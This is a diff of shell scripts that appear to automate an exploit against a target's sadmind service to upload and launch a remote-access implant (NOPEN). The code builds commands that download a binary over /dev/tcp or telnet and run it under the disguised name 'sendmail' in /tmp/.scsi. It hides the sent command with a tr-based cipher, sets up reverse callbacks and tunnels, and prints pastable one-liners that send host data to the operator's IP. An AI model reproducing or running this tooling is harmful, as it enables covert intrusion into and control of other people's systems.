$CMDOVERRIDE -o $RETRYONLY == 1 + if [ ! "$LOCAL_IP" ] ; then + if [ ! "`which grepip 2>/dev/null`" ] ; then + notered "\aMust have \"grepip\" in path or provide -l IP on command line" + exit + fi + for INT in ppp0 ppp1 eth0 eth1 ; do + ADDR=`ifconfig $INT 2>/dev/null | grepip | egrep -v "255|127\.0" | head -1` + [ "$ADDR" ] && LOCAL_IP=$ADDR + [ "$LOCAL_IP" ] && break + done + while [ ! "$LOCAL_IP" ] ; do + echo -en "What is your local/redirector IP address? " + [ "$LOCAL_IP" ] && echo -en "[$LOCAL_IP] " + read ans + [ "$ans" -a "${ans:0:1}" != "y" -a "${ans:0:1}" != "Y" ] && \ + LOCAL_IP=$ans + LOCAL_IP=`echo $LOCAL_IP | grepip` + [ "$LOCAL_IP" ] || echo -e "\n\n\a$ans is not a valid IP. Try again.\n\n" + done + INT=" ($INT)" + note "Using $LOCAL_IP$INT for -l local IP argument" + fi + [ "$REMOTE_HOST" ] || usage exit "Error: missing remote host argument" + + # Check for required args + [ -z "$REMOTE_IP" ] && usage exit "Error: missing remote IP (-i)" + [ -z "$REMOTE_HOST" ] && usage exit "Error: missing remote hostname" + [ -z "$SADMIND_ARG" ] && usage exit "Error: missing sadmindPort (-u)" + if [ ! "$CMDOVERRIDE" ] ; then + [ -z "$REMOTE_DIR" ] && usage exit "Error: missing remote directory (-D)" + [ "${REMOTE_DIR:0:1}" = "/" ] || + usage exit "\a\nREMOTEDIR ($REMOTE_DIR) must start with \"/\". Check # of args and order." + [ -z "$REMOTE_FNAME" ] && usage exit "Error: missing remote filename (-r)" + [ -z "$LOCAL_IP" ] && usage exit "Error: missing local IP (-l)" + if [ $RETRYONLY == 0 ] ; then + [ -z "$LOCAL_PORT" ] && usage exit "Error: missing local port (-n)" + fi + fi + if [ "${REMOTE_IP:0:3}" = "127" ] ; then + REDIRECT=yes + ifconfig -a | grep $LOCAL_IP > /dev/null && NOTGOOD=yes + if [ "$NOTGOOD" ] ; then + $SETCOLOR_FAILURE + echo -e "ARE YOU SURE? It looks like you are redirecting (due to remote being $REMOTE_IP), +and yet you want the RAT callback to go to $LOCAL_IP, WHICH\a IS ONE OF YOUR LOCAL IPs???" + sleep 1 + echo -en "\nHit ^C to abort or enter to continue DESPITE THIS PROBLEM!!\a" + $SETCOLOR_NORMAL + read blah + fi + if [ "$TARGETIP" ] ; then + DEFTARGET=$TARGETIP + else + DEFTARGET=`head /current/etc/opscript.txt 2>/dev/null | grepip 2>/dev/null | head -1` + fi + [ ! "$ACTUALTARGET" ] && [ "$DEFTARGET" ] && [ "$TARGETIP" ] && ACTUALTARGET=$DEFTARGET + until [ `echo $ACTUALTARGET | grepip 2>/dev/null` ] ; do + [ "$ACTUALTARGET" ] && echo Bad IP $ACTUALTARGET + echo -en "\nEnter Target IP after redirecting through $LOCAL_IP: " + [ "$DEFTARGET" ] && echo -en "[$DEFTARGET] " + read ACTUALTARGET + [ ! "$ACTUALTARGET" ] && [ "$DEFTARGET" ] && ACTUALTARGET=$DEFTARGET + done + note Redirecting via 127.0.0.1/$LOCAL_IP to $ACTUALTARGET + if [ "$TARGETIP" ] ; then + # This is set by autoattack which means domainname may still be needed + echo -en "\nEnter domainname to use if any: " + read D + [ "$D" ] && REMOTE_DOMAIN="-d ${D}" + else + while [ 1 ] ; do + OKTUNNEL=`netstat -an | egrep "^udp.*0 (0.0.0.0|127.0.0.1):$TUNNELPORT "` + if [ ! "$OKTUNNEL" ] ; then + notered "You must start a -tunnel in a NOPEN window on udp/$TUNNELPORT:\n" + note "\n-tunnel $TUNNELPORT udp\n\n" + notered -n "Hit return once the -tunnel is up" + read input + fi + [ "$OKTUNNEL" ] && break + done + fi + fi + + if [ "$PACKRAT_SCRIPME" ] ; then + [ "$OLDCMD" ] || UUARG="-u" + EXPLOIT_SCRIPME="packrat$PACKARGS $UUARG $REMOTE_FNAME $NOSERVER $LOCAL_PORT" + note "Starting local packrat LISTENer to send noserver via port $LOCAL_PORT" + export EXPLOIT_SCRIPME + echo EXPLOIT_SCRIPME=\"$EXPLOIT_SCRIPME\" scripme -t PACKRAT -F -X \"-bg slategrey -fg white -geometry 131x55-0+0\" + EXPLOIT_SCRIPME="$EXPLOIT_SCRIPME" scripme -t PACKRAT -F -X "-bg slategrey -fg white -geometry 131x55-0+0" + fi + if [ "$CALLBACK" -a ! "$CALLBACKIP" ] ; then + CALLBACKIP="$LOCAL_IP" + else + if [ "$CALLBACK" -a ! "$LOCAL_IP" = "$CALLBACKIP" ] ; then + note "-C argument given for callback--overriding -l local IP from command line: $LOCAL_IP" + fi + fi + + if [ "$CALLBACK" ] ; then + RAT_PREARGS=" S=$CALLBACKDELAY D=\"-uc${CALLBACKIP}:${NOPENPORT}\"" + if [ "$REDIRECT" ] ; then + notered "\aYou must establish a NOPEN listener on $CALLBACKIP:$NOPENPORT\n\n" + PASTABLE=`grep -v "^#" /current/down/didthis 2>/dev/null | grep "noclient.*$CALLBACKIP"` + [ "$PASTABLE" ] && PASTABLE="\ncd /current/down\n${PASTABLE}" + ifconfig -a | grep $CALLBACKIP && ITSLOCAL=yes + if [ "$ITSLOCAL" ] ; then + echo "remote nopen window on $CALLBACKIP AND local listener:" + note "\ncd /current/down/\n${PASTABLE}\n/current/bin/noclient -l $NOPENPORT\n\n" + else + echo "remote nopen window on $CALLBACKIP:" + note "${PASTABLE}\n\n-nrtun $NOPENPORT\n\n" +# PASTABLE=`grep -v "^#" /current/down/didthis 2>/dev/null | grep "noclient.*$CALLBACKIP" | sed "s/noclient/noclient -c \"-nrtun $NOPENPORT\"/"` +# EXPLOIT_SCRIPME="${PASTABLE}" scripme -t NOCLIENT -F -X " -geometry 131x55" + + fi + notered -n "Hit ^C to abort or enter once NOPEN callback window is ready" + read blah + else # not redirecting + POSTRUN="noclient -l $NOPENPORT" + fi + else # not callback + RAT_PREARGS=" D=\"-ul${NOPENPORT}\"" + if [ "$REDIRECT" ] ; then + POSTRUN2="-nstun $ACTUALTARGET ${NOPENPORT}" + else + POSTRUN2="noclient ${REMOTE_IP}:${NOPENPORT}" + fi + fi + + if [ ! "$CMDOVERRIDE" ] ; then + if [ ! "$NOZIP" ] ; then + UNCOMPRESS="&& uncompress -f ${REMOTE_FNAME}.Z" + [ "$OLDCMD" ] || UNCOMPRESS=".Z&&uncompress -f ${REMOTE_FNAME}.Z" + + fi + # this one has more spaces...don't use unless other fails... + CMD="mkdir -p ${REMOTE_DIR} && cd ${REMOTE_DIR} && telnet ${LOCAL_IP} ${LOCAL_PORT} < /dev/console | uudecode > /dev/null 2>&1${UNCOMPRESS}&& chmod 755 ${REMOTE_FNAME} && PATH=.${RAT_PREARGS} ${DOTSLASH}${REMOTE_FNAME}${RAT_POSTARGS}" + + CMD="mkdir -p ${REMOTE_DIR}&&cd ${REMOTE_DIR}&&/bin/ksh -c \"/bin/cat < /dev/tcp/${LOCAL_IP}/${LOCAL_PORT} > ${REMOTE_FNAME}${UNCOMPRESS}&&chmod 755 ${REMOTE_FNAME}&&PATH=.${RAT_PREARGS} ${DOTSLASH}${REMOTE_FNAME}${RAT_POSTARGS}\"" + if [ "$OLDCMD" ] ; then + CMD="mkdir -p ${REMOTE_DIR}&&cd ${REMOTE_DIR}&&telnet ${LOCAL_IP} ${LOCAL_PORT}/dev/null 2>&1 ${UNCOMPRESS}&&PATH=.${RAT_PREARGS} ${DOTSLASH}${REMOTE_FNAME}${RAT_POSTARGS}" + fi + if [ $RETRYONLY == 1 ] ; then + CMD="cd /tmp;cd ${REMOTE_DIR};PATH=.${RAT_PREARGS} ${DOTSLASH}${REMOTE_FNAME}${RAT_POSTARGS}" + fi + else + CMD="" + $SETCOLOR_NOTE + [ ! "$REMOTE_DIR" = "/tmp" ] && TMP=" rm -rf ${REMOTE_DIR} ; ls -arlt /tmp ;" + [ ! "$TMP" ] && TMP=" rm -rf ${REMOTE_DIR}/$REMOTE_FNAME ;" + echo -e "You may want to start something like this locally (YOU do this netcat--it is not automatic):\n" + notered "LOCALLY:" + echo -e " nc -l -p 443" + echo "" + notered "Some pastable examples for the REMOTE end (pick one, or mix and match--up to you):" + echo -e " ksh -c \"( w ; uname -a ) > /dev/tcp/$LOCAL_IP/443\"" + echo -e " ( w ; uname -a ) | telnet $LOCAL_IP 443" + echo -e " ksh -c \"($TMP ls -alrt ${REMOTE_DIR} ) > /dev/tcp/$LOCAL_IP/443\"" + echo -e " ($TMP ls -alrt ${REMOTE_DIR} ) | telnet $LOCAL_IP 443" + echo -e " ($TMP ls -alrt ${REMOTE_DIR} ) | telnet $LOCAL_IP `mkrandom -n 2>/dev/null`" + echo "" + while [ ! "$CMD" ] ; do + notered "Enter Commands to run on target (see above examples), separated by \";\".\n" + read CMD + done + note "\nCommands being run: $CMD\n" + fi # if $CMDOVERRIDE + +# this is unused for now--old bs.tn.gr way +OLDOLDCMD="echo \" +PATH=/usr/openwin/bin:/usr/bin:/bin:/sbin:/usr/sbin:/usr/local/bin:/usr/local/gnu/bin:/usr/ucb:/usr/X11R6/bin +export PATH +mkdir -p ${REMOTE_DIR} +cd ${REMOTE_DIR} +(echo 'open ${LOCAL_IP} ${LOCAL_PORT}';/bin/cat)| /bin/telnet | /bin/cat| /usr/bin/uudecode > /dev/null 2>&1 +uncompress -f ${REMOTE_FNAME}.Z +chmod 0700 ${REMOTE_DIR}/${REMOTE_FNAME} +PATH=${REMOTE_DIR}${RAT_PREARGS} ${DOTSLASH}${REMOTE_FNAME}${RAT_POSTARGS} +rm ${SCRIPT} +\" > ${SCRIPT} +/bin/sh ${SCRIPT}" + + if [ ! "$NO_TR" ] ; then + # tr sets + #SET1="'0-}'" + #SET2="'1-~'" + ALPHA="ABCDEFGHIJKLMNOPQRSTUVWXYZ./abcdefghijklmnopqrstuvwxyz0123456789 <&" + THERE=`which permute 2>/dev/null` + if [ ! "$THERE" ] ; then + if [ -x "../bin/permute" ] ; then + export PATH=../bin:$PATH + else + usage exit "FATAL ERROR: No \"permute\" in path." + fi + fi + SET1=`permute "$ALPHA"` + SET2=`permute "$SET1"` + MUNGED="`echo "${CMD}" | tr "${SET1}" "${SET2}"`" + UNMUNGED="`echo \"${MUNGED}\" | tr "${SET2}" "${SET1}"`" + echo " +munging via: + tr \"$SET1\" \"$SET2\" +and vice versa. + +MUNGED=\"$MUNGED\" + +UNMUNGED=\"$UNMUNGED\" +" + + if [ "$SET1" = "$SET2" ] ; then + echo "SET1=\"$SET1\"" + usage exit "FATAL ERROR. SET1 is the same as SET2." + fi + if [ ! "$UNMUNGED" = "$CMD" ] ; then + echo "$UNMUNGED" > /tmp/UNMUNGED.$$ + echo "$CMD" > /tmp/CMD.$$ + cmp /tmp/UNMUNGED.$$ /tmp/CMD.$$ + wc /tmp/UNMUNGED.$$ /tmp/CMD.$$ + usage "FATAL ERROR. UNMUNGE TEST FAILED" + else + echo -e "PASSSED TEST: \$CMD eq \$UNMUNGED.\n" + fi + + $SETCOLOR_NOTE + echo -e "Running:\n +bs -i ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_DOMAIN} ${SADMIND_ARG} \ + -c \"echo '${MUNGED}'|tr '${SET2}' '${SET1}'|sh\"\n" + else + notered "\a\nNOT MUNGING--CMD going over in the clear.\n\n" + echo -e "Running:\n +bs -i ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_DOMAIN} ${SADMIND_ARG} \ + -c \"$CMD\"\n" + fi + + if [ "$POSTRUN" ] ; then + echo -e "AND THEN the following will start automatically:\n\n$POSTRUN$COLOR_NORMAL\n" + fi + + notered "Hit ^C to abort or enter to continue" + read blah + if [ "$REDIRECT" ] ; then + note "Sending tunnel commands to 127.0.0.1:$TUNNELPORT" + if [ $ATTEMPT -eq 1 ] ; then +# tunnelcmd c 1 2 + tunnelcmd u $SADMIND_PORT $ACTUALTARGET + else + tunnelcmd c 2 + fi + [ $RETRYONLY == 0 ] && tunnelcmd r $LOCAL_PORT + tunnelcmd s + fi + while [ 1 ] ; do + # Now check what we can before continuing + echo "" + while [ 1 ] ; do + if [ "$CALLBACK" ] ; then + if [ "$REDIRECT" ] ; then + OKNRTUN=`netstat -an | grep "^tcp.*:$NOPENPORT " | egrep "ESTAB|LISTEN"` + else + OKNRTUN=okeydokey + fi + else + OKNRTUN=okeydokey + fi + [ "$REDIRECT" ] || OKUDP=okeydokey + [ "$REDIRECT" ] && OKUDP=`netstat -an | egrep "^udp.*0 (0.0.0.0|127.0.0.1):$SADMIND_PORT "` + OKPACKRAT=`netstat -an | egrep "^tcp.*(0.0.0.0|127.0.0.1):$LOCAL_PORT .*LISTEN"` + [ "$CMDOVERRIDE" -o $RETRYONLY == 1 ] && OKPACKRAT=nevermind + + [ "$OKUDP" ] || notered "No udp/$SADMIND_PORT seen locally in netstat" + if [ ! "$OKNRTUN" ] ; then + notered "No -nrtun or noclient -l for callback seen locally on port $NOPENPORT in netstat" + note "${PASTABLE}\n\n-nrtun $NOPENPORT\n\n" + fi + if [ ! "$OKPACKRAT" ] ; then + if [ "$OKUDP" -a "$OKNRTUN" ] ; then + notered "waiting for packrat to start on port $LOCAL_PORT" + else + notered "No packrat seen locally on port $LOCAL_PORT in netstat" + fi + fi + [ "$OKUDP" ] && [ "$OKNRTUN" ] && [ "$OKPACKRAT" ] && break + + [ "$OKUDP" ] && [ "$OKNRTUN" ] && sleep 2 && continue + unset OKUDP OKNRTUN OKPACKRAT + notered "\a\n\nCANNOT PROCEED" + notered "\a\n\nFix this and either ^C or hit Enter to try again." + read blah + done + rm -f /tmp/bsoutput.$$ + if [ ! "$NO_TR" ] ; then + note "\n\nrunning this locally (using tr remotely):\n\nbs -i ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_DOMAIN} ${SADMIND_ARG} \ + -c \"echo '${MUNGED}' | tr '${SET2}' '${SET1}'|sh\" 2>&1 | tee /tmp/bsoutput.$$\n\n" + bs -i ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_DOMAIN} ${SADMIND_ARG} \ + -c "echo '${MUNGED}' | tr '${SET2}' '${SET1}'|sh" 2>&1 | tee /tmp/bsoutput.$$ + else + note "\n\nrunning this locally:\n\nbs -i ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_DOMAIN} ${SADMIND_ARG} \ + -c \"$CMD\" 2>&1 | tee /tmp/bsoutput.$$\n\n" + bs -i ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_DOMAIN} ${SADMIND_ARG} \ + -c "$CMD" 2>&1 | tee /tmp/bsoutput.$$ + fi + + HOSTERR=`grep "Security exception on host" /tmp/bsoutput.$$ | sed "s/.*Security exception on host //" | sed "s/. USER ACCESS DENIED.*//"` + rm -f /tmp/bsoutput.$$ + [ "$HOSTERR" ] || break + $SETCOLOR_FAILURE + echo -e "\n\nERROR OUTPUT FROM bs!!\n\n" + if [ "-h $HOSTERR" = "$REMOTE_HOST" ] ; then + echo -e "ERROR! Correct host but need different domain (\"$REMOTE_DOMAIN\" failed)." + $SETCOLOR_NORMAL + echo -en "Enter new domain or ^C to abort (hit enter to try no domain at all): " + read ans + REMOTE_DOMAIN="" + [ "$ans" ] && REMOTE_DOMAIN="-d ${ans}" + echo -e "\n\nTrying domain \"$REMOTE_DOMAIN\"\n\n" + else + echo -e "ERROR! Wrong host. They suggest \"$HOSTERR\", so try that." + $SETCOLOR_NORMAL + echo -en "Enter new host or ^C to abort: [$HOSTERR] " + read ans + [ "$ans" ] || ans="$HOSTERR" + REMOTE_HOST="-h ${ans}" + echo -e "\n\nTrying host \"$REMOTE_HOST\"\n\n" + fi + done + + if [ "$POSTRUN" ] ; then + notered "\n\n\aNOTE: Callback will not occur for $CALLBACKDELAY seconds or more" + notered " and MAYBE NOT until upload completes AND you ^C the netcat upload.\n\n" + notered "\nNow running nopen listener with: $POSTRUN\n" + exec $POSTRUN + fi + + if [ "$POSTRUN2" ] ; then + note "\nOnce you see all is done, you may want to proceed with:\n\n$POSTRUN2\n\n" + [ $RETRYONLY == 0 ] && notered NOTE: Listener may not be active until you ^C the netcat upload. + fi +} # end doit procedure + + +# This calls usage if empty args or just -h or -v +[ "${*}" = "-v" -o "${*}" = "-h" -o "${*}" = "" ] && doit ${*} +ATTEMPT=1 +while [ 1 ] ; do + # This is called by autoattack so allow changes + if [ "$ARGS" ] ; then + notered "Last attempt used these arguments:\n$COLOR_NORMAL\n${ARGS}\n" + OPTIND=1 + else + if [ "$TARGETIP" ] ; then + echo -e "$usagetextshort" + + notered "Automatic mode has pre-set these arguments:\n$COLOR_NORMAL\n${*}\n" + fi + ARGS="${*}" + fi + + if [ $ATTEMPT -gt 1 -o "$TARGETIP" ] ; then + notered "\n\nJust hit return to keep these arguments, or input a new and complete argument\nstring to use instead:\n" + read ans + if [ "$ans" ] ; then + ARGS="$ans" + note Changing arguments to: $ARGS + else + note NOT changing arguments + fi + fi + + doit $ARGS + + note "\n\n$PROG attempt number $ATTEMPT is complete." + if [ "$CALLBACK" ] ; then + $SETCOLOR_FAILURE + echo -e "\nNOTE: Callback will not happen until $CALLBACKDELAY seconds or more have passed.\n" + while [ $CALLBACKDELAY -ge 0 ] ; do + echo -en "\rCounting down: $CALLBACKDELAY " + CALLBACKDELAY=`expr $CALLBACKDELAY - 1` + sleep 1 + done + fi + notered "\n\nIf this is your last sploit, you can close down the -tunnel +currently listening on $TUNNELPORT with this at any local prompt: +$COLOR_NORMAL + /current/bin/closetunnel\n\n" + note "\nIf it worked, hit return to exit.\n" + notered -n "Do you want to try again? [N] " + read ans + [ ! "$ans" -o "${ans:0:1}" = "n" -o "${ans:0:1}" = "N" ] && break + # echo -e "$usagetext" + + notered "\nIf \"ksh\" method might have failed, add the -t argument to try the old telnet way." + notered "If \"tr\" method might have failed, add the -T argument to disable munging." + notered "If still failing after trying -t, -T and -tT, try bs.tn.gr_USE_WHEN_bs.auto_FAILS." + note "\nIf desired, use the -C command to override what commands are executed on target." + note "\nYour previous arguments were:" + echo "$ARGS" + notered "\n\nJust hit return to try the same arguments again, or input a new and complete argument\nstring to use (e.g., add -T if you think \"tr\" failed)." + + read ans + if [ "$ans" ] ; then + ARGS="${ans}" + fi + ATTEMPT=`expr $ATTEMPT + 1` +done +# disabled this for now 20030603 +#if [ "$REDIRECT" ] ; then +# note "Closing down -tunnel ports" +# tunnelcmd c 1 2 +# tunnelcmd q +#fi +ps -efwwww | grep PACKRAT | grep -v grep && \ +notered "\n\nYou need to close packrat window before this one can exit.\n\n" + diff --git a/Linux/bin/bs.auto.old b/Linux/bin/bs.auto.old new file mode 100755 index 0000000..a19f441 --- /dev/null +++ b/Linux/bin/bs.auto.old @@ -0,0 +1,692 @@ +#!/bin/sh +# Defaults +PROG=`basename ${0}` +VER="2.8" +ERRSLEEP=0 +[ "$TUNNELPORT" ] || TUNNELPORT=`cat /current/bin/.tunnelport` +[ "$TUNNELPORT" ] || TUNNELPORT=18787 +COLOR_SUCCESS="\\033[1;32m" +COLOR_FAILURE="\\033[1;31m" +COLOR_WARNING="\\033[1;33m" +COLOR_NORMAL="\\033[0;39m" +COLOR_NOTE="\\033[0;34m" +COLOR_WHITE="\\033[4;97m" +SETCOLOR_SUCCESS="echo -en $COLOR_SUCCESS" +SETCOLOR_FAILURE="echo -en $COLOR_FAILURE" +SETCOLOR_WARNING="echo -en $COLOR_WARNING" +SETCOLOR_NORMAL="echo -en $COLOR_NORMAL" +SETCOLOR_NOTE="echo -en $COLOR_NOTE" +SETCOLOR_WHITE="echo -en $COLOR_WHITE" +# usagetext here so this can be used globally +DEFCALLBACKDELAY=15 +SYNTAX=" [E=ratpreargs] [A=ratpostargs] \\ + $PROG [options] remoteHost [remoteDomain] +" +usagetext=" +Usage: +$SYNTAX +$PROG uploads and runs NOPEN via ./bs. + +REQUIRED OPTIONS - Usual upload/execute mode + +-i IP Target IP (or 127.0.0.1 if redirecting) +-u # Target's udp sadmind (prog 100232) port + +TROUBLESHOOT OPTION + +-R Run specific commands on target, not the usual (you are + prompted for the command string to send). OTHER OPTIONS below + are ignored when using -R. + +OTHER OPTIONS - [default in brackets if any] + +-n # Local tcp port for netcat upload [random] +-l IP Local IP for netcat upload [the first active IP in this order: + ppp0, ppp1, eth0 or eth1] +-r name Name to call uploaded file on target [sendmail] +-D dir Working directory to create/use on target [/tmp/.scsi] +-p # NOPEN port for either listen or callback mode [random] +-c Use NOPEN in callback mode to local IP (also see -S) +-C IP Use NOPEN in callback mode to this IP instead of local IP +-s # Change delay used for -c|C to # seconds [$CALLBACKDELAY] +-t Use the OLDCMD/telnet/uudecode method instead of the default + CMD/ksh.$COLOR_FAILURE NOTE: This DOES require uudecode.$COLOR_NORMAL +-T Do NOT use tr at all (can be used with or without -t) +-z Do NOT use uncomrpess at the far end (so you should not use + compress here) +-P Assume PATH=. will fail so use ./ratname +-S name Script file to write and remove when using -t (OLDCMD) method + + +In the usual upload/execute mode, unless the -T option is used, $PROG +uses the remote system's tr program (see \"man tr\") to unmunge the +string sent via bs into the commands we want him to execute. See dtail +below. $PROG will build and show the munged and unmunged strings, +prompting to abort or continue before any packets are sent. + +NOTE: The environment variables E and A are still usable as: + E=ratpreargs A=ratpostargs + + BUT, they are no longer necessary for NOPEN ports and callbacks. + + ratpreargs : a string put on remote command line right after + PATH=. and before remoteName (NOTE: If using -l/c + options above this is no longer necessary.) + + ratpostargs : a string put on remote command line after running + remoteName (e.g., \" ; rm sendmail\") + + Command sent to bs will be munged (unless -T is used) from one of: + +OLDCMD=\"cd /tmp;mkdir -p \${REMOTE_DIR} && cd \${REMOTE_DIR};telnet \${LOCAL_IP} \${LOCAL_PORT} < /dev/console | uudecode > /dev/null 2>&1 && uncompress -f \${REMOTE_FNAME}.Z && chmod 755 \${REMOTE_FNAME} && PATH=.\${RAT_PREARGS} \${DOTSLASH}\${REMOTE_FNAME}\${RAT_POSTARGS}\" + +CMD=\"cd /tmp;mkdir -p \${REMOTE_DIR} && cd \${REMOTE_DIR};/bin/ksh -c \"cat < /dev/tcp/\${LOCAL_IP}/\${LOCAL_PORT} > \${REMOTE_FNAME}.Z && uncompress -f \${REMOTE_FNAME}.Z && chmod 755 \${REMOTE_FNAME} && PATH=.\${RAT_PREARGS} \${DOTSLASH}\${REMOTE_FNAME}\${RAT_POSTARGS}\"\" + +OR if -T is used, one of these will be used but will not be munged. +" +note() { + unset N + if [ "$1" = "-n" ] ; then + N=$1 + shift + fi + echo -e $N "$COLOR_NOTE${*}$COLOR_NORMAL" +} +notered() { + unset N + if [ "$1" = "-n" ] ; then + N=$1 + shift + fi + echo -e $N "$COLOR_FAILURE${*}$COLOR_NORMAL" +} +tunnelcmd() { + echo "${*}" | nc -w1 -u 127.0.0.1 $TUNNELPORT +} +usage() { + + [ "$1" = "exit" ] && EXIT=1 && shift + if [ "$1" = "-h" ] ; then + shift + [ "$ERRSTR" ] || ERRSTR="\nNOTE: \a THE NEW WAY REQUIRES NO UU*CODE NOR ANY E=\"ratpreargs\"!!!!" + echo -e "$usagetext" + fi + if [ "$1" = "-v" ] ; then + echo "$PROG version $VER" + shift + fi + ERRSTR="${*}" + if [ "$ERRSTR" ] ; then + notered "\a${ERRSTR}" + fi + [ "$EXIT" ] && exit +} # end usage + +doit() { +#echo DBG +#set +#echo DBG + CMDLINE="\nCommandLine: ${0} ${*}" + CALLBACKDELAY=$DEFCALLBACKDELAY + # lab testing? + ifconfig 2>&1 | grep "135.1\.2\." > /dev/null && CALLBACKDELAY=4 + unset NOPENPORT CALLBACKIP CALLBACK OLDCMD NO_TR NOZIP PACKARGS DOTSLASH CMDOVERRIDE SCRIPT + unset UNCOMPRESS REDIRECT UUARG REMOTE_DOMAIN + while getopts p:cl:ths:zPvRu:s:Ti:n:r:D:P:a:S:C:R op; do + case $op in + h) usage exit -h ;; + v) usage exit -v ;; + i) REMOTE_IP="${OPTARG}" ;; + n) LOCAL_PORT="$OPTARG" ;; + l) LOCAL_IP="$OPTARG";; + r) REMOTE_FNAME="$OPTARG" ;; + D) REMOTE_DIR="$OPTARG" ;; + p) NOPENPORT="$OPTARG";; + a) [ "$ARCH" ] || ARCH="$OPTARG";; + u) SADMIND_PORT="$OPTARG" + SADMIND_ARG="-p $OPTARG" ;; + E) RAT_PREARGS=" $OPTARG";; + A) RAT_POSTARGS=" $OPTARG";; + C) CALLBACKIP="$OPTARG";; + c) CALLBACK=" callback";; + t) OLDCMD="yes";; + T) NO_TR="yes";; + s) CALLBACKDELAY="$OPTARG";; + z) NOZIP=yes + PACKARGS=" -z" ;; + P) DOTSLASH="./";; + R) CMDOVERRIDE=yes ;; + S) SCRIPT="$OPTARG" ;; + esac + done + shift `expr $OPTIND - 1` + [ "$#" -eq 0 -a ! "$REMOTE_IP" ] && usage exit -h + [ "$1" ] && REMOTE_HOST="-h ${1}" + [ "$2" ] && REMOTE_DOMAIN="-d ${2}" + # fixed defaults here (random ports and such elsewhere) + [ "$SCRIPT" ] || SCRIPT="...." + [ "$REMOTE_FNAME" ] || REMOTE_FNAME=sendmail + [ "$REMOTE_DIR" ] || REMOTE_DIR=/tmp/.scsi + if [ ! "$CMDOVERRIDE" ] ; then + if [ ! "$NOPENPORT" ] ; then + NOPENPORT=`mkrandom -n 2>/dev/null` + fi + if [ ! "$NOPENPORT" ] ; then + usage "mkrandom not in path--needed to generate random port for NOPEN\n(use -p # to force a particular port)" + return + fi + fi + + + [ "$E" ] && RAT_PREARGS=" $RAT_PREARGS $E" && echo "RAT_PREARGS=\"$RAT_PREARGS\"" + [ "$A" ] && RAT_POSTARGS=" $RAT_POSTARGS $A" && echo "RAT_POSTARGS=\"$RAT_POSTARGS\"" + echo "" + + [ "$HOSTERR" ] && REMOTE_HOST="-h ${HOSTERR}" +# [ "$#" -lt 6 ] && usage exit -h -v "Too few arguments" +# if [ "${4:0:1}" = "/" ] ; then +# SADMIND_PORT="${3}" +# SADMIND_ARG="-p ${3}" +# REMOTE_DIR="${4}" +# REMOTE_FNAME="${5}" +# LOCAL_IP="${6}" +# LOCAL_PORT="${7}" +# elif [ "${5:0:1}" = "/" ] ; then +# REMOTE_DOMAIN="-d ${3}" +# SADMIND_PORT="${4}" +# SADMIND_ARG="-p ${4}" +# REMOTE_DIR="${5}" +# REMOTE_FNAME="${6}" +# LOCAL_IP="${7}" +# LOCAL_PORT="${8}" +# else +# usage "\a\nREMOTEDIR ($4 or $5) must start with \"/\". Check # of args and order." +# fi + + + + # show what we were called with + echo -e "$CMDLINE" + + # Check to make sure tcp LISTEN is there + PORTS=`netstat -an | grep tcp.*LIST | cut -f 2 -d ":" | sort -rn | awk '{print $1}' |egrep -v "6000"` + if [ "$NOPENPORT" ] ; then + note "Using random NOPEN$CALLBACK port $NOPENPORT" + fi + + note Local ports LISTENing: $PORTS + echo + which packrat >/dev/null 2>&1 + NOPACKRAT=$? + + if [ ! "$CMDOVERRIDE" ] ; then + if [ "$TARGETIP" ] ; then + # autoattack mode so yes we want packrat + PACKRAT_SCRIPME=yes + else + if [ "$LOCAL_PORT" ] ; then + for i in $PORTS -1 ; do + [ "$i" = "$LOCAL_PORT" ] && break + done + if [ $i -lt 0 ] ; then + if [ -e $NOSERVER -a "$NOPACKRAT" = "0" ] ; then + echo -ne "The file /current/up/noserver exists, and you have no LISTENer on port ${LOCAL_PORT}. +Do you want me to start a packrat listener on $LOCAL_PORT in another window for you? [Y] " + read ans + [ ! "$ans" -o "${ans:0:1}" = "y" -o "${ans:0:1}" = "Y" ] && \ + PACKRAT_SCRIPME=yes + else + [ "$NOPACKRAT" = "0" ] || notered "No packrat in your path" + notered "YOU MUST have a local LISTEN port on $LOCAL_PORT, and YOU DO NOT have /current/up/noserver\n\ato start one automatically" + sleep 3 + notered "\a\nProceeding, assuming YOU WILL EITHER ABORT OR START LISTENER before continuing\npast next prompt." + fi + else + notered "\aLocalPort=$LOCAL_PORT provided on command line already LISTENing. Assuming that is the upload." + sleep 2 + fi + else + unset ans +# for i in $PORTS -1 ; do +# [ $i -lt 0 ] && break +# echo -n "Is $i your localPort for RAT upload (Yes, No, Run a new/fresh one for me)? [R] " +# read ans +# [ "$ans" ] || break +# [ "$ans" = "R" -o "$ans" = "r" ] && i=-1 && break +# [ "${ans:0:1}" = "y" -o "${ans:0:1}" = "Y" ] && break +# done +# [ "$ans" = "" ] && i=-1 +# [ $i -lt 0 ] || LOCAL_PORT=$i +# if [ ! "$LOCAL_PORT" ] ; then + while [ 1 ] ; do + LOCAL_PORT=`mkrandom -n 2>/dev/null` + [ ! "$LOCAL_PORT" ] && usage "mkrandom not in path--needed to generate random rat upload port" + ALREADYTHERE=`netstat -an | grep tcp.*LIST | grep ":$LOCAL_PORT "` + note "Using a random port ($LOCAL_PORT) for local RAT upload listener (packrat)" + if [ -e /current/up/noserver ] ; then + if [ "$NOPACKRAT" = "0" ] ; then + PACKRAT_SCRIPME=yes + else + usage exit "No packrat in your path$COLOR_NORMAL" + fi + else + notered Put correct noserver into /current/up/noserver and hit return + read ans + continue + fi + [ "$ALREADYTHERE" ] || break + done +# fi + fi + fi + for pid in `pidof nc` ; do + UULISTEN=`ls -al /proc/$pid/fd | grep \.uu` + if [ "$UULISTEN" -a ! "$OLDCMD" ] ; then + usage exit "NOT GOOD: Your netcat LISTEN seems to be sending a .uu file--DO NOT (see usage): + # ls -al /proc/$pid/fd | grep \.uu\n$UULISTEN" + fi + done + fi # if ! $CMDOVERRIDE + if [ ! "$LOCAL_IP" ] ; then + if [ ! "`which grepip 2>/dev/null`" ] ; then + notered "\aMust have \"grepip\" in path or provide -l IP on command line" + exit + fi + for INT in ppp0 ppp1 eth0 eth1 ; do + ADDR=`ifconfig $INT 2>/dev/null | grepip | egrep -v "255|127\.0" | head -1` + [ "$ADDR" ] && 